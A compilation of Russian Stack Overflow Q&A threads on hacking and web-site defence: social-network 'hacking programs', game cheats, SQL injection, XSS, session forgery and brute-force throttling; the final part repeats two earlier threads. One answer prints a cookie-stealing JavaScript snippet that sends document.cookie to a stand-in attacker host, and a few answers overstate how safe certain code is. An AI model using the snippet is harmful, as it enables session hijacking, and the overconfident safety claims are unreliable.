Программы взлома соцсетей [закрыт]

#взлом #соцсети

                            
             
                
                    
                        
                            Закрыт. Этот вопрос не по теме. Ответы на него в данный
момент не принимаются.
                            
                        
                    
                
            
                    
                
                        
                            
                        
                    
                        
                            Хотите улучшить этот вопрос? Переформулируйте вопрос,
чтобы он соответствовал тематике «Stack Overflow на русском».
                        
                        Закрыт 4 года назад.
                    
                
        

Добрый день!
Мне вот интересна такая тема, доступны ли широкой общественности программы по взлому
страничек пользователей разных социальных сетей (Вконтакт, одноклассники, фейсбук и
другие) или это миф очередной? Почему-то вызывают сомнение, что такой продукт программный
можно найти на просторах Интернета.
Одна девушка мне сказала, что она взламывает программами специальными вконтакт и
одноклассники. На мой взгляд, это маловероятно, чтобы человек без образования компьютерного
мог это сделать. Для интереса скачивал пару таких программ, якобы взламывающих страницы,
и не обнаружил ничего хорошего, кроме обмана: имитация взлома, спам, смс-подтверждение
для распаковки программы и прочая чушь. И потом взлом в большинстве случаев происходит
якобы по перебору возможных паролей (взлом "ломом"), что социальная сеть просто бы
такое количество попыток входа в аккаунт отвергла бы. И второй нюанс - на такой  взлом
ушло бы много времени, а не то, что пишут в программах прогнозируемое точное время
взлома в районе 15 минут.
Что скажете по этому поводу, есть ли ПО взлома соцсетей или это просто обманка для
дураков?) Второй вопрос: каким же образом осуществляют реальные взломы (мысли сразу
о xss-атаках и уязвимостях) социальных страниц пользователей?    

Ответы

Ответ 1

Бред. Программ для взлома ВК и Одноклассников нет. Максимум - это всякие вирусы на
компьютер жертвы или фейк сайты с авторизацией.


Ответ 2

Как минимум, что вы должны понимать, но, видимо, не до конца понимаете, если бы такой
софт вообще существовал, смысл самого слова "аккаунт" был бы утерян. Не было бы исследователей
в области ИБ, не было бы и разнообразных bounty-програм (поощрений) от вендоров. Да
и смысл тогда какой вообще был бы от самого понятия "Информационная Безопасность"?
Как говорится, "если все герои, то никто не герой", так же и в сфере по защите информации,
хакингу, крягингу, кукарекингу (и т.д.) - если кругом одни "хакеры" (хотя они - cracker`ы),
то "крутизна" слова сходит на "нет". Мы же пока такого ещё не наблюдаем. 
Если уж и находятся однажды какие-либо реально более-менее действенные методы (что-то
вроде CSRF или Heartbleed), то те, кто отвечают за безопасность программного продукта,
стараются фиксить, маскировать, что угодно делать, чтобы уязвимость не только не получила
известность у простых юзеров (простых смертных), но и не была широко известна в обществе
профессионалов сферы ИБ. Это же авторитет брэнда, как-никак - над дырявым, как правило,
только шутят.

А так вообще можно, например, написать кейлоггер, встроить в браузер пользовательский
скрипт  и много всего другого. Но все это требует хотя бы каких-то знаний, связанных
с разработкой как таковой.


Ответ 3

У меня один раз увели пароль от аккаунта. Каким-то образом сменили DNS. И запустили
проксирование через свой сервак. А контакт тогда просто по http работал. Как произошла
смена DNS, для меня до сих пор отстаётся загадкой. Но варианта взлома два, и оба не
простые.

Атакуем компьютер жертвы и сливаем пароль.
Перебираем через api пароль с большим интервалом времени, чтобы не заблочили ip (жизни
наверное не хватит).


Ответ 4

Это - "ПО"  - развлечение школьников младшего возраста. 
Десятки, а то и сотни людей с огромным багажом знаний разрабатывают механизмы защиты,
шифровки. 
Ну, в принципе, этакий взлом - не миф, но это распространенные способы - стиллеры,
брутфорс, кейлоггинг, НО:

Для первого нужно еще заразить компьютер жертвы, что достаточно проблематично выйдет. 
Второй вариант использовать на получение доступа к определенному аккаунту - бессмысленно,
могут и сотни лет уйти на подбор, не считая человеческого фактора, как пример - частой
смены паролей. 
С кейлоггерами та же  песня, что и со стиллерами. 

Да и тут тоже куча своих "подводных камней", таких как социальная инженерия. 
А по поводу программ, "дающих доступ к аккаунту в один клик", стоит просто голову
включить - такие инструменты должны иметь прямой доступ к базам данных, знать "соль",
используемую для хранение данных, что уже глупо - никто не даст такой информации в
открытый доступ. 
В общем, выкиньте эту мысль из головы. Такого не существует.

Хаки к играм и их создание

#разработка_игр #взлом

Возник такой вопрос, ответ на который хочется уточнить. Иногда можно встретить различные
"хаки" к играм, к примеру в warcraft 3/dota пишут различные maphack: запускаем приложение
и оно, к примеру, показывает в цифрах скорость регенерации health points, открывает
всю карту и т.п.

В Call Of Duty : Modern Warfare 3 можно запустить приложение и сделать inject dll
файла в запущенных экзэшник игры, после чего бот ходит и стреляет за тебя, в смысле
стоит лишь, чтобы враг попал в область видимости - бот сразу же точно сам стреляет
и убивает.

Почему возник вопрос... Я-то в игры играю редко, но само то, как делаются такие хаки
- стало интересно, задумался... Как это они так делают? Что ли как-то модифицируют
какие-то игровые значения или что? Reverse Engineering может быть?

Допустим, как в Modern Warfare 3 выделяет оппонента издалека красным квадратом -
как? Как программа знает об этом? И что вообще даст inject dll файла?

А как заставляет бота стрелять автоматически..

Сложно ли это и что за сферы нужно учить? (может кому-то вопрос покажется легким
или даже тупым, но я, к сожалению, не профи в этом деле, поэтому хотел бы задать такой
вот вопрос)
    

Ответы

Ответ 1

Допустим, как в Modern Warfare 3 выделяет оппонента издалека красным квадратом - как?

Если очень примитивно, то на карте вы расположены с определенными координатами. Между
машинами играющих идет постоянный обмен пакетами, в которых содержаться координаты
всех игроков. Именно поэтому вы и видите или не видите каждого игрока в определенный
промежуток времени. Но эти координаты предназначены в первую очередь для машины, которая
должна знать, где "отрисовать" того или иного игрока. Хак перехватывает эти пакеты
и "рассказывает" вам где кто находится, даже если он не в поле вашего зрения. А подсветить
красным квадратиком - уже дело техники ))


Ответ 2

Сильно упрощенно пример отрисовки прямоугольника можно представить следующим образом.
Исходный код игры:
class GlobalContext {
    static GameDev.IGame Game = new GameDev.Game();
    // .....
}

Злоумышленник разрабатывает следующий код:
namespace GameHack {
    // наследуемся от класса разработчика игры
    class Game : GameDev.Game {
        protected override DrawPlayer(PlayerInfo pi) {
            // рисуем все что было раньше
            base(pi);
            // получаем координаты прямоугольника, ограничивающего модель игрока
            Coordinates border = this.GetPlayerBorderRectangle(pi);
            // рисуем закрашенный прямоугольник по этим координатам
            this.DrawBar(border, Color.Red);
        }
    }
}

И при inject dll внедряет в программу этот код и выполняет дополнительно следующий:
GlobalContext.Game = new GameHack.Game();

Таким образом при отрисовке изобретать велосипед не обязательно, а можно использовать
уже готовую функциональность игры. Злоумышленнику достаточно лишь добавить небольшой
штрих в урпавлении программой. В моем примере для создания этого штриха использовался
шаблон проектирования декоратор.
Кстати мультиплеер в МВ2 был реализован на .NET и за него отвечал интерфейс IWNet.
"Сторонние разработчики" создали свою реализацию интерфейса IWNet и назвали ее AlterIWNet.
Альтернативный мультиплеер AlterIWNet - пример высокоуровневого хака игры :). Ссылку
дать не могу, т.к. на данный момент насколько я понял этот проект прекратил свое существование.

Защита сайта от взлома [закрыт]

#php #защита #взлом #xss #sql_injection

        
             
                
                    
                        
                            Закрыт. Данный вопрос необходимо конкретизировать. Ответы
на него в данный момент не принимаются.
                            
                        
                    
                
                            
                                
                
                        
                            
                        
                    
                        
                            Хотите улучшить этот вопрос? Переформулируйте вопрос,
чтобы он был сосредоточен только на одной проблеме, отредактировав его.
                        
                        Закрыт 4 года назад.
                                                                                
           
                
        
Создал, наконец, свой первый проект. Начитался кучу информации по защите сайта (sql-инъекции
и т.д., и т.п.). Но я понимаю, что в сети не рассматриваются все нюансы по защите,
поэтому я создал шуточный клон сайта, залил на сервер и пытаюсь найти дыры в безопасности.
Пока безуспешно - стоит строгая проверка на url-адрес, админка скрыта в таинственной
папке))) 

Вопрос очевиден - я хочу понять, есть ли возможность взломать сайт, открыть структуру
папок и попасть в админку.

Уважаемые программисты, помогите, пожалуйста! 
Я прописал в .htaccess вывод любых предупреждений и ошибок, поэтому буду премного
благодарен за взлом собственного сайта! Фишка в том, что весь проект написан собственноручно
в Коделобстере без использования готовых шаблонов.

P.S. Для админ-части аутентификация написана собственноручно, пожалуйста, взломайте
и ее. Попыток входа - 3. Сейчас я увеличу до 20.

Псевдосайт - http://mars.fh38095o.bget.ru/

P.P.S. Кто действительно заинтересуется и покажет, что невозможно найти ссылку на
админку, я скину url в личку.
    

Ответы

Ответ 1

Я не знаю, что такое "коделобстер" но, судя по всему, 'то какая-то платформа для
создания уязвимых сайтов. Выкладывать на проверку код со столь хрестоматийной SQL инъекцией
должно быть стыдно. 

Ну и просить протестировать на безопасность игрушечный сайт, в котором всего 5 таблиц
(block_pages,category,feedback,simple_pages,temple) и нет практически никакой информации
- это как бы смешно. Ты бы еще выложил программу Hello world и попросил ее взломать.
Что там ломать? Зачем? Кому нужен этот сайт? 
Если бы, скажем, сайт хранил номера кредиток, то они бы уже уплыли, как эти глубокомысленные
вопросы из таблицы feedback:

alert('hello'); hello   
ddddddd dddd ddddddddddd dddddddddddddddd dd dddd ddddddddd ddd dddddddd dd dddddd
dddddddddddd ddddddddd ddddddddddd dd dddd dddddddddddd dd ddd ddddddd dddddddddd dddddddddddd
ddd dd dddd dddddddd dddd ddddd dddd ddddddd d dddd dddddddd    
ра дывал п у дм жчсдялыпыа   
adfasdf asadf adf asdf asdf adf   
asdfasdfasfdasdfagfsdghsdbcxasdf    


Опять же, интерфейса к этой таблице на сайте нет. То есть, в последний момент автор
забоялся, и прикрутил вместо нее к сайту Disqus. Очень, очень остроумный способ тестирования.

Судя по тому, что в комментариях автор путает XSS с SQL инъекцией (собираясь защищаться
от первой с помощью "stmt"), а "скрытая админка" почитается им как верх хитроумия в
защите сайта, то ему просто рано выклыдывать что-либо на тестирование. 

По поводу намека на дыры.
Дело в том, что никакие намеки здесь не нужны.
Все, что тебе нужно знать - это то, что была SQL инъекция. Ну так об этом было сказано
безо всяких намеков, открытым текстом. А вот какая конкретно - для защиты знать не
нужно, от слова "совсем".
Фишка в том, что для обеспечения защиты про дыры знать не нужно. Защита от атак иррелевантна
самим атакам.
Про то что нужно для защиты - написано было во всех учебниках (ну, кроме устаревших):
надо, чтобы любые переменные попадали в запрос не напрямую, а через плейсхолдеры. Вот
это и надо было делать.
Ты об этом знал (как следует из твоих комментариев, когда ты собрался XSS лечить
через "stmt"), но не придавал значения. Вот теперь, после того как ты закрыл эту дыру,
надеюсь, будешь придавать.    

И опять же, сам видишь - чтобы закрыть дыру тебе не понадобилось узнавать, как был
произведен взлом. Чтобы строить защиту, надо уметь строить, а не ломать.   "Намекать
на дыры" бесполезно. Здесь смысл не в том, чтобы залатать одну конкретную, а в том,
чтобы все запросы без исключения выполнялись по единому безопасному принципу. И тогда
хакер пусть хоть в лепешку разобьётся, но ни одной дыры не найдёт.

По поводу XSS.
Ситуация довольно забавная.
Действительно, где-то в недрах сайта режется, почему-то, прямой слеш.
Но, разумеется, это не может помещать, и XSS можно внедрить и без слеша. Но тут уже,
увы, на твою защиту встают браузеры,  которые научились отфильтровывать такие явные
XSS-через-запрос за горе-программистов. 

Но опять же, надеяться на браузер - это значит гарантированно налететь на инъекцию.
Такие вещи надо делать самому. Причем делать, опять же, не "как бог на душу положит",
а сис-те-ма-ти-чес-ки!   

Вот ты вырезал теги в фидбеке и успокоился. А в идентификаторе страницы - нет. А
здесь должна быть та же система, что и с SQL инъекциями - не надо сидеть и думать,
где знадо защищаться, а где не надо. Защищаться надо везде! 

В защите от XSS аналогом плейсхолдеров в SQL может являться шаблонизатор с автоискейпингом.
То есть, мы можем считать себя в безопасности, если


Любой, абсолютно любой вывод производится только через шаблонизатор.
По умолчанию шаблонизатор форматирует ВСЕ выводимые переменные. И только те, для
которых указано явно, что они должны выводиться как есть - выводятся как есть.


Таким шаблонизатором, в частности, является Twig

Да, и еще одно замечание. Код 

or die("Ошибка в запросе $zapros");



это просто подарок взломщику. Скажем, если бы его не было, то я бы просто не взялся
ломать - это потребовало бы куда больше времени, а время - деньги. 


Судя по всему, ты прямо в коде обращаешься к функциям mysqli. Этого делать тоже не
надо, но к безопасности это отношения не имеет, а для практики сойдёт. Но  эти свои
чудовищные or die() постирай все до единого. Вместо этого перед коннектом к mysql 
напиши одну строчку,

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

подделка сессии

#php #взлом

Допустим с помощью php создаю сессию:

$_SESSION['user_id'] = 22;


Браузер я так понимаю, создает cookie с id юзера в зашифрованном виде (скажем с помощью
md5). То есть если генерировать с помощью md5 user_id другой (17 к примеру) и заменить
cookie, то получается можно получить доступ к юзеру с id 17?
Или я что-то не понимаю?
    

Ответы

Ответ 1

У каждой PHP сессии уникальный код который нельзя так просто подобрать, а все данные
сессии хранятся только на сервере этот "уникальный код" который устанавливается в cookie
т.е работает так


Юзер заходит на сайт (при запросе на скачивание html в HTTP заголовках возвращается
запрос на установку в cookie с названием PHPSESSION уникального кода который не зависит
от $_SESSION['user_id'] = 22;)
Потом браузер просто с этим ключом обращается к серверу


Проще говоря можно представить что $_SESSION это файл сессии, user_id ячейка в этом
файле, а 22 это значение ячейки user_id

P.s данные сессии не как нельзя получить на стороне пользователя (если их только
самому не отдать ему к примеру выводом через echo $_SESSION['user_id'];)


Ответ 2

У сервера есть ящик. В ящике лежит user_id = 22.
Сервер на ящик прибивает табличку с какой-нибудь аброкадаброй и хранит у себя все
время сам ящик, никому не дает его.

Затем сервер говорит браузеру: "Запиши, браузер, аброкадабру с таблички этого ящика.
В следующий раз, когда придешь снова, сообщи мне ее и я загляну в ящик с этой табличкой,
чтобы узнать тебя".


Ответ 3

итак: 
Допустим, вы раздаете сайт по протоколу http. можете считать, что всех ваших пользователей
уже взломали, админку тоже увели. 
этот случай не рассматриваем.

Допустим, вы раздаете сайт по протоколу https

Вы делаете куку, выдаете пользователю. пользователь заходит на сайт, и оставляет
где-нибудь коммент, содержащий js-код. поскольку вы не разбираетесь в куках, то и в
фильтрации js вы тоже не разбираетесь. В простейшем случае, JS-код выдаст в браузер
что-нибудь типа
. У вас XSS-уязвимость. Каждый
посетитель страницы с таким кодом отправит свою куку на сервер атакующего.

Условно говоря, кука (в данном случае, айдишка в куке) прокидывается к атакующему. 

Если кука прокинулась к атакущему, простейший скрипт позволит ему при получении куки
автоматически сделать какие-нибудь нехорошие действия, например, зайти под вами в админку,
перезаписать какой-нибудь файл, сохранить его, вы даже и не заметите, что произошло.
Просто какой-то сервер в интернете за 1-2 секунды авторизовался под вами и сделал все
что нужно. Изменил плагин вордпресса, например. А автор заразы в это время спит себе
спокойно. Скрипт работает. А он спит. А у тебя сифилис на сайте. И какой-нибудь вредоносный
код, заражающий пользователей. 

В итоге - сервер заражен, пользователи заражены, "и мы в аду и ты горишь, сынок." 

Чтобы кука была недоступна для js-кода в браузере, придумали специальный флаг HttpOnly
- почитайте здесь

Это одна из причин,  почему некоторые сайты не позволяют заходить одновременно с
двух ip-адресов. Для идентификации пользователя используется пара id+ip.

И именно поэтому, например, какой-нибудь альфа-банк разлогинивает вас автоматически
через, кажется, 10-15 минут неактивности. Пришел к тебе друг, а ты вышел собаку прогулять,
а комп забыл залочить. Находясь в одной и той же подсети, например, можно стащить куку,
и пара cookie/ip  с другого компьютера в той же подсети вполне себе сработает без всякого
ip spoofing. (тут я не в курсе, насколько защита от ip spoofing продвинулась за последние
несколько лет)

p.s. поскольку я не специалист по безопасности, а если бы и был, врядли  смог бы
выдать полное руководство в ответе, рекомендую вам погуглить и почитать про такие вещи
самому.
p.p.s https-сертификат бесплатно нынче модно получать у https://letsencrypt.org

p.p.s. если вы решите создавать куки самостоятельно, при помощи md5 от id пользователя,
то не решайте так.

Какой-нибудь милый человек посмотрит сколько у вас примерно пользователей, после
этого будет время от времени (в зависимости от количества пользователей) делать запросы
с подходящим md5.  Если вы еще приделаете список пользователей онлайн - будет еще легче.
Про соль вы забудете, про перец забудете и в итоге сессия вашего юзера будет md5(1),
md5(2), md5(n)... Можно просто сделать md5(1) = авторизован = творю что хочу. Не балуйтесь
с крипто, не прочитав про него.

Пользуйтесь встроенными механизмами генерации куки от php/почитайте про шифрование
и хэширование.

p.p.p.s 
еще бывает очень смешно, когда session_id передают через get-запрос, т.е. session_id
появляется в адресной строке браузера. Если посетителя вашего сайта попросят прислать
ссылку на материал вашего сайта, или он сам выложит ее куда-нибудь, то произойдет авто-логин

Как сделать таймаут при вводе пароля?

#php #защита #взлом

Хочу сделать защиту от перебора паролей (метод «грубой силы») в моей системе на PHP
для Панели Администратора.
У меня уже стоит CAPTCHA, но это не защищает.
Хочу сделать таймаут. Ввел 5 раз не правильно пароль — отдыхай 12 часов.
Проблема вот в чем: просто так отследить компьютер-то не получается, IP у многих
динамичный, а Cookie легко удаляются. Писать в БД «для всех» тоже не хорошо: вдруг
кто-то просто так захочет побаловаться, а администратор потом будет сутки ждать.
Есть, конечно, другой вариант: ставить таймаут после каждого ввода пароля секунд
на 5, так, чтобы сильно замедлить брутфорс + можно после 100 неправильных паролей отсылать
на email владельцу сайта письмо, мол, пытаются взломать.
Что Вы думаете об этом?    

Ответы

Ответ 1

После первой неудачной попытки авторизации в час «проверяйте» пароль секунд 5-10
перед тем, как сообщить верный ли он. Пользователя при входе кидает на промежуточную
страницу «минуточку, проверяем пароль», которая обновится только через 10 секунд и
только тогда будет известно, вошли мы или нет. Обновил страницу раньше — продолжаешь ждать.
Для этого на сервере, при каждой попытке авторизации:

Проверяем время последней неудачной попытки входа. Если дальше, чем час назад — переходим
к п.5.
Запоминаем в сессии время начала запроса.
Отдаем страницу «пожалуйста, подождите», которая всеми средствами (, javascript, ручная ссылка «обновить») обновляет себя.
При каждом обращении смотрим, прошло ли 10 секунд с начала операции. Если не прошло
—  см. п.3, если нет — п.5.
Выдаем результат авторизации, если успешно — логиним пользователя, если нет — запоминаем
время неуспешной авторизации и назад на форму входа и от нее снова начиная с п.1.

Брутфорс на скорости в меньше десятка паролей в минуту быстро перестанет быть интересным.
Легитимный пользователь же подождет свои 10 секунд и успешно залогинится.
Всякое security through obscurity типа входа по GET-параметрам не рекомендую. Оно
будет или не сильно полезным или вредным (ссылка для входа останется в истории браузера
и будет регулярно вылезать автокомплитом — прекрасная вещь для демонстрации гостям).


Ответ 2

Во первых стоит сделать защиту от чрезмерно частых запросов страниц.
Во вторых предложу такой вариант: записывать в файл или еще куда id пользователей
и время подбора и удваивайте таймаут ввода пароля вплоть до 24х часов.

Данный способ рекомендовали на хабре но для несколько других целей.


Ответ 3

Динамический IP - на самом деле небольшая сказка. Он по факту не меняется при каждом
переподключении, даже на диалапе (который, как я думаю, отсутствует в наше время).
 Плюс можно использовать уникальный ключ (md5 от юзерагента, IP, еще каких-либо данных)


Ответ 4

Панель администратора говоришь? Ну как вариант переместить админку, т.е. поменяй
урл, старый можешь оставить, но чтоб всегда неправильный пароль писал. Если капчу обходят,
то поменяй капчу на более сложную, на рекапчу например, порой самому трудно прочитать
что там написано. Капча в основном помогает от ботов, но и от живого брутера поможет,
который через пару десяток капч бросит сие занятие.


Ответ 5

Давно писал такую штуку, покопайте
session_start();
$time = time();

### Разрешать запросы
# Не чаще чем
$max_n = 5; # раз
# за
$max_t = 10; # секунд

if(empty($_SESSION['ban']['time'])){ $_SESSION['ban']['time'] = $time; }
if(empty($_SESSION['ban']['rate'])){ $_SESSION['ban']['rate'] = 1; }
if($_SESSION['ban']['time']+$max_t < $time){
  unset($_SESSION['ban']);
  echo 'true';
}else{
  if($_SESSION['ban']['rate'] > $max_n){
    echo 'false';
  }else{
    $_SESSION['ban']['rate']++;
    echo 'true';
  }
}


Ответ 6

А ещё вот так можно сделать: Как защитить админку сайта?

То есть - вход только по get запросу. Если его нет - тогда пусть выходит чистая страница.
И так вообще не понятно будет что это такое.

Взломали сайт, помогите найти дыру в защите

#администрирование #ssl #хостинг #защита #взлом

Доброго времени суток!

Я администрирую сайты у нас в компании.
Недавно нам взломали сайт, и не один. Атакам ежедневно подвергаются все сайты, находящиеся
на хостинге. Выглядит это как добавление php файлов, архивов и целых папок в корни
сайтов и в директории типа images.
Результатами взлома сначала являлась подмена главной страницы для роботов гугл, затем
2 рассылки с нашего почтового сервера и рассылка со ссылкой на нехороший файл на одном
из наших сайтов.

Что было сделано:


Почистили все от вредоносного кода, обновили cms основного нашего сайта, так как
сначала думали, что только он был взломан, запретили доступ к системным папкам по другим ip.
Поменяли все пароли (к ftp, cms, бд). 
Дальнейшие действия не очевидны. Наш хостер не дает изолировать друг от друга папки
на хостинге, как и не может ограничить доступ к ftp по другим ip( 


Какой следующий шаг?

UPD 4.12.17


Установили на всех сайтах логи доступа.
Прогнали сайты через ai-bolit, появилась почва для размышления и поле для деятельности.
После вычистки и настройки сайтов будем их разносить по разным хостингам и наблюдать.


UPD 18.12.17


На прошлой неделе выложил на хостинг чистые копии сайтов. Ограничил доступы к системным
папкам и отключил register_globals через .htaccess.
С тех пор проблемы со взломом не возникали. Скоро будем переезжать на новый хостинг. 


Спасибо всем за помощь. С наступающим вас!
    

Ответы

Ответ 1

Можно попробовать перекрыть вот этот вектор атаки:


  Выглядит это как добавление php файлов, архивов и целых папок в корни сайтов и
в директории типа images.


Но для этого необходима возможность создавать на сервере новых пользователей и настраивать
веб-сервер, т.е. эта инструкция - не для шаред-хостинга.



1. Разделяем пользователя-владельца сайта и пользователя от которого работает веб-сервер.
Второму пользователю запрещается доступ на запись во все директории кроме тех куда
пользователи могут загружать файлы.

В UNIX-подобных ОС без использования ACL такого поведения можно достигнуть включив
обоих пользователей в одну группу, далее первый пользователь делается владельцем файлов
и директорий, и права на файлы устанавливаются 640 (740 на директории или 750 если
важен листинг директории).

2. В тех директориях, куда разрешается загрузка пользовательских файлов - запрещаем
запуск любых скриптов на уровне веб-сервера. 

В Apache для этого надо прописать примерно следующее (только изучите свой конфиг
чтобы увидеть реальные типы возможных скриптов - ну или выключите все что не используете):


    RemoveHandler .php .phtml .php3
    RemoveType .php .phtml .php3
    AllowOverride None



Также конфиг выше отключает поддержку .htaccess в этих директориях, потому что в
противном случае при наличии дыр злоумышленник может загрузить этот файл и разрешить
самому себе запускать скрипты.

При использовании Nginx надо закрыть директории со статикой от поиска в них скриптов
через использование ^~:

location ^~ /uploads/ {
    try_files $uri =404;
}


Также в случае использования сайтом паттерна Front Controller можно отказаться от
популярного location ~* \.php(/|$) в пользу непосредственного направления нужных маршрутов
на фронт-контроллер (да, для этого придется внимательно изучать используемую CMS):

location / {
    fastcgi_pass  127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME /path/to/index.php;
    fastcgi_param PATH_INFO       $uri;
}


Если у вас внезапно Windows и IIS - надо убрать все обработчики кроме статических
файлов и заблокировать конфигурацию от изменений:


    
        
            
            
        
    



Важно сделать это именно через location в файле более высокого уровня, чтобы злоумышленник
не мог обойти ограничение через замену файла web.config в доступной для записи папке.

3. После закрытия папок куда пользователи могут загружать файлы от загрузки туда
серверных скриптов надо закрыть их от загрузки html-страниц. Это уже атака не на ваш
сервер, а на ваших пользователей - но это же не означает что от нее не надо защищаться?

В Apache это делается через RemoveType .html (полный список типов уточните в своем
конфиге), в nginx надо будет явно перечислить разрешенные к загрузке типы файлов (types
{ ... }), а в IIS это делается настройкой system.webServer/staticContent по аналогии
со списком обработчиков (там можно как удалить несколько типов так и полностью составить
список с нуля).



Если веб-сервер настроен правильно - то злоумышленнику будет намного труднее пользоваться
имеющимися дырами. А дыр связанных с загрузкой пользовательских файлов можно будет
и вовсе не бояться.

Могут ли взломать сайт с помощью внедрения JS кода?

#взлом #javascript

Да-да, многие говорят что фантазия безгранична, и что взломать вроде можно, но я
пока не вижу способов, да я и в JS не большой спец. Хотелось бы увидеть конкретный
пример взлома сайта (получения доступа к ftp, к файлам, возможность удалять/создавать
файлы, менять права и тп.)

Для внутренних органов: интересуюсь чисто в целях самозащиты =) Хочу давать право
на написание статей на блоге незнакомым авторам, вот и интересно - WP пропускает JS
прекрасно, делать с этим что-то, или оставить так.
    

Ответы

Ответ 1

Банальный пример:
var i = document.createElement('iframe');
i.style='width: 1px; height: 1px; visibility: hidden;';
document.getElementsByTagName('body')[0].appendChild(i);
i.src='http://vasya-pupkin-xakep.org/stealcookie.php?c='+document.cookie;

Таким образом хакер Вася Пупкин часто тырит админские куки и очень быстро заходит
с ними на сайт. Если у админа есть возможность редактировать файлы из админки - это
полный контроль (есть такие штуки как phpftp и phpmyadmin)
Также этот код можно за- и перешифровать три раза, чтобы это был нечитаемый набор
символов. Вместо куков можно просто таким образом накручивать посещения другому сайту etc.


Ответ 2

Вообще через js можно проводить xss атаки, а если у вас на сайте ajax и серверная
часть самописная, никто не исключает, что таким образом можно будет как-то напакостить
в системе; например: у вас в обработчике ajax есть метод DeleteFileOnServer, если при
выполнении метода никак не проверяются права, то можно представить ситуации, в которых
злоумышленник сформирует ajax запрос, используя метод DeleteFileInServer, и удалит
какой-либо файл, не имея на это право, однако в большинстве случаев, подобные вещи
тестируются разработчиками веб-приложения, воодится проверка прав и тд. 
По теме: методика атак XSS, общие словеса на тему ajax-security.


Ответ 3

Это невозможно. Максимум, что может быть, - это кража кук. И то напрямую их отправить
не удастся (AJAX на другой домен запрещен и не работает, лично проверял). 
Придется отправлять в запросе картинки, например img.png?jesnfjkndsfjkndskjweklfngjksdngjksnjdsg
- в конце закодирован кук. Такую технологию, например, использует веб-аналитика Yandex
WebVisor (лично смотрел). 
Есть еще нюансы. JS может создать текст внутри страницы, который потом будет проиндексирован
Гуглом. Это правда - лично убедился на примере партнерки фотостраны, когда ключевые
слова питомец, подарок оказались самыми частотными согласно webmasters.google.com (сайт
про апокалипсис).
Еще недобросовестные авторы смогут переадресовать страницу, делать ссылки, картинки,
баннеры.
Но к ftp, к файлам доступ получить невозможно будет.

Как полностью обезопасить работу с Mysql?

#mysql #pdo #безопасность #взлом

В интернете я нашёл только один способ взлома Mysql базы данных - sql-инъекция. Однако
там же я нашёл и решение, как не допустить попадание нежелательных символов в mysql_query:

$query  = sprintf("SELECT * FROM sometable WHERE somevar='%s'",
mysql_real_escape_string($var));
mysql_query($query);


И тем не менее, многие люди настойчиво рекомендуют переходить на другие расширения
по работе с Mysql (PDO, например), считая оригинальное API априори небезопасным и недостаточно
функциональным. На последнее я не жалуюсь, но безопасность важна для меня. 

И вот вот вопрос: полностью ли меня обезопасил от хакерских атак код, приведённый
выше? Если нет, то возможно ли мне обезопаситься полностью, не переходя на другие расширения?
    

Ответы

Ответ 1

Если рассматривать ситуацию только в контексте "безопасность запросов от хакерских
атак", то ответ: "Да, код, приведённый выше, полностью обезопасил от хакерских атак".

Однако при разработке остальные моменты тоже нужно учитывать


Ответ 2

Для защиты от SQL инъекций перейдите на расширение PDO или mysqli и воспользуйтесь
функцией bindParam.

Функции mysql_* устарели и больше не поддерживаются.

Пример использования для PDO

prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
    $sth->bindParam(':calories', $calories, PDO::PARAM_INT);
    $sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12);
    $sth->execute();


Документация

Пример для mysqli

prepare($sql);

    $category_id = 1;
    $lastname = '%Smith%';

    /* Bind параметры. Типы: s = string, i = integer, d = double,  b = blob */
    $stmt->bind_param('is', $category_id, $lastname);

    $stmt->execute();


Документация


Ответ 3

Нет, вы обезопасили себя не полностью. Вы не обезопасили себя от прямого подключения
к вашему MySQL серверу. Ограничьте IP адреса, с которых можно подключаться к вашей
базе данных - как в настройках пользователей MySQL, так и в настройках сетевого экрана.

Программы взлома соцсетей [закрыт]

Добрый день! Мне вот интересна такая тема, доступны ли широкой общественности программы по взлому страничек пользователей разных социальных сетей (Вконтакт, одноклассники, фейсбук и другие) или это миф очередной? Почему-то вызывают сомнение, что такой продукт программный можно найти на просторах Интернета. Одна девушка мне сказала, что она взламывает программами специальными вконтакт и одноклассники. На мой взгляд, это маловероятно, чтобы человек без образования компьютерного мог это сделать. Для интереса скачивал пару таких программ, якобы взламывающих страницы, и не обнаружил ничего хорошего, кроме обмана: имитация взлома, спам, смс-подтверждение для распаковки программы и прочая чушь. И потом взлом в большинстве случаев происходит якобы по перебору возможных паролей (взлом "ломом"), что социальная сеть просто бы такое количество попыток входа в аккаунт отвергла бы. И второй нюанс - на такой взлом ушло бы много времени, а не то, что пишут в программах прогнозируемое точное время взлома в районе 15 минут. Что скажете по этому поводу, есть ли ПО взлома соцсетей или это просто обманка для дураков?) Второй вопрос: каким же образом осуществляют реальные взломы (мысли сразу о xss-атаках и уязвимостях) социальных страниц пользователей?

Ответ

Бред. Программ для взлома ВК и Одноклассников нет. Максимум - это всякие вирусы на компьютер жертвы или фейк сайты с авторизацией.

Защита сайта от взлома [закрыт]

Создал, наконец, свой первый проект. Начитался кучу информации по защите сайта (sql-инъекции и т.д., и т.п.). Но я понимаю, что в сети не рассматриваются все нюансы по защите, поэтому я создал шуточный клон сайта, залил на сервер и пытаюсь найти дыры в безопасности. Пока безуспешно - стоит строгая проверка на url-адрес, админка скрыта в таинственной папке)))
Вопрос очевиден - я хочу понять, есть ли возможность взломать сайт, открыть структуру папок и попасть в админку.
Уважаемые программисты, помогите, пожалуйста! Я прописал в .htaccess вывод любых предупреждений и ошибок, поэтому буду премного благодарен за взлом собственного сайта! Фишка в том, что весь проект написан собственноручно в Коделобстере без использования готовых шаблонов.
P.S. Для админ-части аутентификация написана собственноручно, пожалуйста, взломайте и ее. Попыток входа - 3. Сейчас я увеличу до 20.
Псевдосайт - http://mars.fh38095o.bget.ru/
P.P.S. Кто действительно заинтересуется и покажет, что невозможно найти ссылку на админку, я скину url в личку.

Ответ

Я не знаю, что такое "коделобстер" но, судя по всему, 'то какая-то платформа для создания уязвимых сайтов. Выкладывать на проверку код со столь хрестоматийной SQL инъекцией должно быть стыдно.
Ну и просить протестировать на безопасность игрушечный сайт, в котором всего 5 таблиц (block_pages,category,feedback,simple_pages,temple) и нет практически никакой информации - это как бы смешно. Ты бы еще выложил программу Hello world и попросил ее взломать. Что там ломать? Зачем? Кому нужен этот сайт? Если бы, скажем, сайт хранил номера кредиток, то они бы уже уплыли, как эти глубокомысленные вопросы из таблицы feedback:
